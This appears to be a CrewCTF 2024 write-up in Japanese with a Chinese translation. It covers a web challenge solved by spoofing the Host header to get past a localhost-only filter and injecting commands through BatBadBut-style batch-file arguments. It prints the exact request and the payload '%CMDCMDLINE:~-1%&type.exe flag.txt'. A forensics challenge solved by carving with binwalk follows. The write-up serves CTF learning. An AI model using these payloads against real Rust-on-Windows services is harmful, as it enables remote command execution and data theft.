[web] Malkonkordo [网络] 马尔康科多
ソースコード有り。Rustで書かれたMarkdownビューワーが与えられる。ソースコードを巡回すると管理者限定でコマンド実行できるエンドポイント GET /ai/run
がある。これを動かす前に管理者であることを確認するフィルターがある。
包括源代码。您将获得一个用 Rust 编写的Markdown查看器。查看源代码,有一个端点GET /ai/run
允许仅由管理员执行命令。有一个过滤器可以在运行之前验证您是否是管理员。
async fn middleware_localhost<E: Endpoint>(next: E, req: Request) -> Result<Response> { // No authentication? -T // "I [too] like to live dangerously." -V if let Some(host) = req.uri().host().or(req.header("host")) { if !host.trim_start().starts_with("127.0.0.1") { return Err(Error::from_status(StatusCode::UNAUTHORIZED)); } } else { return Err(Error::from_status(StatusCode::UNAUTHORIZED)); } let resp = next.call(req).await?.into_response(); Ok(resp) }
接続元が127.0.0.1からであることを確認するものだが、req.header("host")
というのがありHostヘッダーからも情報取得していた。なのでリクエストヘッダーのHostヘッダーに127.0.0.1を入れれば偽装できる。試しに以下のようにリクエストを飛ばしてみると環境変数の一覧が得られた。
确认连接源来自127.0.0.1 ,但是有req.header("host")
,并且信息也是从 Host header 中获取的。因此,可以通过在请求头的Host头中放入127.0.0.1来进行伪装。当我尝试发出如下所示的请求时,我能够获得环境变量列表。
GET /ai/run?cmd=env&arg= HTTP/1.1 Host: 127.0.0.1 → … CARGO: \\?\C:\Users\ctf\.rustup\toolchains\1.76-x86_64-pc-windows-msvc\bin\cargo.exe …
環境変数を見るとRustのバージョンは1.76のようである。実行可能なコマンドはいくつかあるが、ping2というのにブラックリストフィルタリングが実装されていて、しかもバッチファイルを呼び出していて非常に怪しい。
查看环境变量,Rust 版本似乎是 1.76。有几个命令可以执行,但是ping2实现了黑名单过滤,并且调用了批处理文件,非常可疑。
"ping2" => { if arg.contains(['\'', '"', '*', '!', '@', '^', '?']) { return Err("bad chars found".to_string()); } let routput = Command::new(".\\scripts\\ping.bat") .arg(arg) .output(); if let Err(_e) = routput { return Err("failed to run ping2 output".to_string()); } Ok(String::from_utf8_lossy(&routput.unwrap().stdout).to_string()) }
シェルスクリプトではなくバッチファイルが動いている。これは…BatBadButか?
正在运行批处理文件而不是shell 脚本。这是……BadBadBut吗?
Rustも同様に影響があり、関連するSecurity Advisoryを見ると1.77.2未満のバージョンが影響を受けるので環境変数の情報から脆弱なバージョンであることが分かる。
Rust也同样受到影响,如果查看相关的安全公告,可以看到低于1.77.2的版本受到影响,因此从环境变量信息可以看出它是一个有漏洞的版本。
試していこう。ブログ記事に書かれているpayloadの"&calc.exe
を入れてみる。だが、これはブラックリストフィルタリングに阻まれてbad chars found
と言われてしまう。
我们来试试吧。我尝试安装博客文章中编写的有效负载"&calc.exe
,但是,这被黑名单过滤阻止并显示bad chars found
。
ブログ記事をよく読むと"
が使えない場合の回避方法も書かれていて"
が含まれる環境変数から"
を持って来るやり方が紹介されていた。これを適用し、%CMDCMDLINE:~-1%&calc.exe
とやってみると応答が帰ってきて、そのうちの入力値が跳ね返ってくる部分がPinging ""...
となっていた。例えばhogeと入れるとPinging hoge...
のように帰ってくるので、意図せず受け入れられてはいそうなので成功はしていそう。calcではなくhostnameを試してみると… 応答末尾にacce4aa638aa
が含まれてきた!実行した際の標準出力が得られる関係で末尾に応答が乗ってくるようだ。RCE達成できた。
如果你仔细阅读博客文章,你会发现当"
无法使用”时有一个解决方法,它介绍了如何从包含"
的环境变量中获取"
, %CMDCMDLINE:~-1%&calc.exe
时应用该方法。我尝试了%CMDCMDLINE:~-1%&calc.exe
,返回了响应,输入值被弹回的部分是Pinging ""...
例如,当我输入hoge时,它返回为Pinging hoge...
看起来像是被接受了无意中,所以它似乎成功了。当我尝试使用主机名而不是 calc… acce4aa638aa
包含在响应的末尾!因为执行时的标准输出似乎即将到来。能够实现RCE。
あとは、flag.txt
を取得したいので、Windows環境ではtype.exeを使う。スペースが使えるのか分からなかったがやってみると使えて、具体的には%CMDCMDLINE:~-1%&type.exe flag.txt
をargとした以下のようなリクエストでフラグが得られる。
另外,由于我想获取flag.txt
,因此我在Windows环境中使用 type.exe 。我不确定是否可以使用空格,但是当我尝试时,我能够使用它们,具体来说,我可以通过如下请求获取标志%CMDCMDLINE:~-1%&type.exe flag.txt
作为参数。
GET /ai/run?cmd=ping2&arg=%25CMDCMDLINE%3a~-1%25%26type.exe%20flag.txt HTTP/1.1 Host: 127.0.0.1 → HTTP/1.1 200 OK … Network checking finished! crew{■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■}
[forensics] Recursion [取证] 递归
USB通信のパケットキャプチャ usb.pcapng
が与えられる。何の通信か正確には分からないが、Windowsベースでファイルのやり取りをしているように見える。binwalkでひたすらファイルカービングすると解けた。
USB通信抓包usb.pcapng
给出。我不知道具体的通信是什么,但它似乎是基于Windows 的文件交换。我能够通过使用 binwalk雕刻文件来解决这个问题。
binwalkする。 宾沃克。
$ binwalk -e usb.pcapng DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 13811 0x35F3 gzip compressed data, maximum compression, has original file name: "layer4.pcapng", from FAT filesystem (MS-DOS, OS/2, NT), last modified: 2024-04-06 09:43:23
layer4.pcapngが得られた。さらにbinwalkしよう。
获得layer4.pcapng。让我们进一步走吧。
$ binwalk -e layer4.pcapng DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 14095 0x370F 7-zip archive data, version 0.4 $ dd ibs=1 obs=1 skip=14095 if=layer4.pcapng of=out.7z
自動で展開されなかったのでddコマンドで手動で持ってきて解凍すると、layer3.pcapngが得られた。どんどんbinwalkしていくと、layer1.pcapngまで得られる。
由于没有自动解压,所以我使用dd命令手动获取并解压,得到了layer3.pcapng。当你越来越多地进行 binwalk 时,你会得到layer1.pcapng。
$ binwalk -e layer3.pcapng DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 13527 0x34D7 POSIX tar archive (GNU), owner user name: "capng" $ binwalk -e layer2.pcapng DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 22811 0x591B Zip archive data, at least v2.0 to extract, compressed size: 3048, uncompressed size: 54768, name: layer1.pcapng 25961 0x6569 End of Zip archive, footer length: 22 $ binwalk -e layer1.pcapng DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- $ strings layer1.pcapng | grep crew crew{■■■■■■■■■■■■■■■■■■}
layer1.pcapngからは何も出てこなかったのでstringsするとフラグが得られる。
由于layer1.pcapng没有输出任何内容,因此您可以通过字符串获取标志。
原文始发于hamayanhamayan:CrewCTF 2024 Writeup